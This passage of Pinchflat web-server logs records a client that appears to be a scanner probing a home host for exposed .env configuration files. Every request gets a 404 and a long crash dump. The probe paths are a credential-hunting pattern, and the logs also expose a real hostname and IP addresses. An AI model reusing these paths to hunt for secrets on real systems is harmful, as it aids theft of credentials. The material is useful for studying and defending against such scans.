~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9485.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49858}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9485.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49858}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9486.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.local", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAFI-wH1Jr4AAAbFC"} ], scheme: :http, (truncated) 15:21:36.219 [info] GET /.env.production 15:21:36.220 [debug] QUERY OK source="settings" db=0.1ms idle=475.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:36.220 [debug] QUERY OK source="settings" db=0.0ms idle=301.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:36.220 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:36.220 [error] #PID<0.9488.0> running PinchflatWeb.Endpoint (connection #PID<0.9487.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env.production ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9487.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49866}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9488.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.production", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAGB1X8x5QS0AAbGC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9487.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49866}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9487.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49866}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9488.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.production", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAGB1X8x5QS0AAbGC"} ], (truncated) 15:21:36.457 [info] GET /.env.development 15:21:36.458 [debug] QUERY OK source="settings" db=0.2ms idle=538.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:36.458 [debug] QUERY OK source="settings" db=0.1ms idle=476.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:36.458 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:36.458 [error] #PID<0.9490.0> running PinchflatWeb.Endpoint (connection #PID<0.9489.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env.development ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9489.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49868}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9490.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.development", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAG6kCL6-i2QAAbHC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9489.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49868}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9489.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.development", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49868}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9490.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.development", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAG6kCL6-i2QAAbHC"} (truncated) 15:21:36.696 [info] GET /.env.dev 15:21:36.697 [debug] QUERY OK source="settings" db=0.2ms idle=477.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:36.697 [debug] QUERY OK source="settings" db=0.1ms idle=477.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:36.697 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:21:36.698 [error] #PID<0.9492.0> running PinchflatWeb.Endpoint (connection #PID<0.9491.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env.dev ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9491.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49880}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9492.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.dev", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAHzoeNzAmM4AAbIC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9491.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49880}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9491.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 49880}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9492.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/.env.dev", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDAHzoeNzAmM4AAbIC"} ], scheme: :http, script_n (truncated) 15:21:36.920 [info] GET / 15:21:36.920 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 15:21:36.920 [debug] QUERY OK source="settings" db=0.0ms idle=462.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:36.920 [debug] QUERY OK source="media_profiles" db=0.0ms idle=462.4ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 15:21:36.920 [debug] QUERY OK source="sources" db=0.0ms idle=435.9ms SELECT count(s0."id") FROM "sources" AS s0 [] 15:21:36.921 [debug] QUERY OK source="media_items" db=0.7ms idle=223.5ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:21:36.921 [debug] QUERY OK source="media_items" db=0.1ms idle=224.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:21:36.922 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:36.922 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:36.922 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:21:36.922 [debug] QUERY OK source="media_items" db=0.1ms idle=1.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:21:36.923 [debug] QUERY OK source="media_items" db=0.4ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? 